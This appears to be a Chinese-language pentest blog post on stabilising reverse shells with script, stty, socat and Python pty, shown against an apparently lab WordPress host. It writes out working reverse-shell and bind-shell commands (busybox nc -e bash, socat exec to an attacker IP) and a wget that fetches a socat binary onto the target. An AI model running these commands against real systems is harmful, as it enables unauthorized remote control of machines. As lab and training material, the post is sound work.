反弹shell优化

发布于: 2026-03-05 19:58

反弹shell的常见痛点

  • 缺少终端功能
  • 窗口大小错误
  • 无法使用交互式命令(如vim、top等)
  • 无法使用tab补全
  • 快捷键失效(如Ctrl+C、Ctrl+Z等)

反弹 shell 演示

攻击机正常监听反弹shell:

┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...

靶机执行反弹shell:

busybox nc 192.168.x.x 4444 -e bash

此时,攻击机收到反弹shell:

┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 44418
uid=33(www-data) gid=33(www-data) groups=33(www-data)

在此环境下,无法正常使用 tab 补全命令、上下键切换历史命令、Ctrl+C 终止命令等。

例如此处:

  • 上键被识别为 ^[[A,而不是切换历史命令
  • Ctrl+C 被识别为 ^C 且直接结束了反弹shell
  • clear 命令无法正常清屏
  • sudo -l 交互式命令无法正常使用
┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 43692
uid=33(www-data) gid=33(www-data) groups=33(www-data)
clear
sudo -l
^[[A^[[A^[[A^C

分配一个交互式伪终端(pty)

使用 script 命令创建一个伪终端(pty)来运行反弹shell:

/usr/bin/script -qc /bin/bash /dev/null
  • script命令会创建一个新的 pty,使得 shell 获得完整的终端环境。
  • -q:安静模式,不输出 Script started...等信息。
  • -c /bin/bash:执行 bash。
  • /dev/null:输出重定向到空设备,避免生成日志文件。

这可以解决无法交互的痛点:

┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 45414
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/script -qc /bin/bash /dev/null
www-data@Disk:/var/www/wordpress$ ^[[A^[[C^[[A^[[A

www-data@Disk:/var/www/wordpress$ which python3
which python3
/usr/bin/python3
www-data@Disk:/var/www/wordpress$ python3
python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ^C

现在,可以运行交互式命令,但是仍然不能正常使用上下键切换历史命令,以及 Ctrl+C 终止命令。

输入处理

stty raw -echo; fg
  • stty raw -echo:将终端设置为原始模式,并关闭回显。这允许正确处理输入字符,包括特殊键。
  • fg:将当前作业放到前台,使得输入能够正确传递给反弹shell。

在反弹shell里按 ctrl+Z 将反弹shell放到后台,然后在攻击机上执行上述命令:

┌──(demo㉿kali)-[~]
└─$ stty raw -echo; fg
nc -lvnp 4444

www-data@Disk:/var/www/wordpress$ id
www-data@Disk:/var/www/wordpress$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Disk:/var/www/wordpress$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 
sudo: a password is required
www-data@Disk:/var/www/wordpress$ sudo -l^C
www-data@Disk:/var/www/wordpress$ ^C

现在,反弹shell已经获得了完整的终端功能,可以正常使用上下键切换历史命令、Ctrl+C 终止命令等。

优化体验

上面这些操作让终端可以正常使用,但体验仍然不够好。可以进一步优化,如终端大小调整、环境变量设置等让vim等交互式命令能够正常使用。

reset xterm  
export TERM=xterm  
echo $SHELL  
export SHELL=/bin/bash  
stty rows 42 cols 189
  • reset xterm:重置终端类型为 xterm,确保兼容性。
  • export TERM=xterm:设置 TERM 环境变量为 xterm,确保终端功能正常。
  • export SHELL=/bin/bash:设置 SHELL 环境变量为 bash,确保使用正确的 shell。
  • stty rows 42 cols 189:调整终端窗口大小,使得交互式命令(如 vim)能够正确显示。

最重要的是,终端大小使用你的真实大小,不要盲目使用其他人的终端大小。

最终解决方案

我选择把上面的优化命令写入到PATH下的两个可执行文件里,确保我可以在任意目录拿到我所需要的payload:

注意检查你的PATH环境变量,确保~/.local/bin在PATH中。

xxx:拿到分配交互式伪终端payload:

cat << 'EOF' > ~/.local/bin/xxx
#!/bin/bash
echo '

/usr/bin/script  -qc /bin/bash /dev/null

'
EOF
chmod +x ~/.local/bin/xxx

yyy:拿到输入处理payload,以及后续优化payload:

cat << 'EOF' > ~/.local/bin/yyy
#!/bin/bash
echo '


stty raw -echo; fg  


reset xterm  
export TERM=xterm  
echo $SHELL  
export SHELL=/bin/bash  

'
rows=$(stty size | awk '{print $1}')
cols=$(stty size | awk '{print $2}')

echo "stty rows $rows cols $cols"
EOF
chmod +x ~/.local/bin/yyy

yyy 里的payload会自动获取当前终端的行数和列数,确保终端大小适配你的真实终端。

使用yyy前,先在nc的反弹shell里分配一个交互式伪终端,再按 ctrl+Z 将反弹shell放到后台,然后在攻击机上执行yyy 的第一句进行输入处理,再执行剩余优化部分

<iframe src="/asciinema/player.html?src=/images/better-shell/demo.cast" style="width: 100%;height: 600px; border: 1px solid #ccc;" allowfullscreen>

socat 反弹shell

使用 socat 反弹shell

推荐的一个静态二进制项目,

https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64

如果靶机没有,可以下载静态编译的socat

wget "https://hk.gh-proxy.org/https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat"
chmod +x socat

socat 反弹shell也比较优雅,不过靶机不一定有,有的话很舒服了

攻击机:

socat file:`tty`,raw,echo=0 tcp-listen:4444

这台靶机自带socat

靶机:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.6.10:4444

socat 正向shell

靶机:

socat TCP-LISTEN:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

攻击机

socat TCP:目标机IP:4444 -

socat 反弹shell 优势:自动分配伪终端,获得完整的终端功能

python pty模块稳定shell

在nc监听到反弹shell后,如果靶机有python3,可以使用python3的pty模块来稳定shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'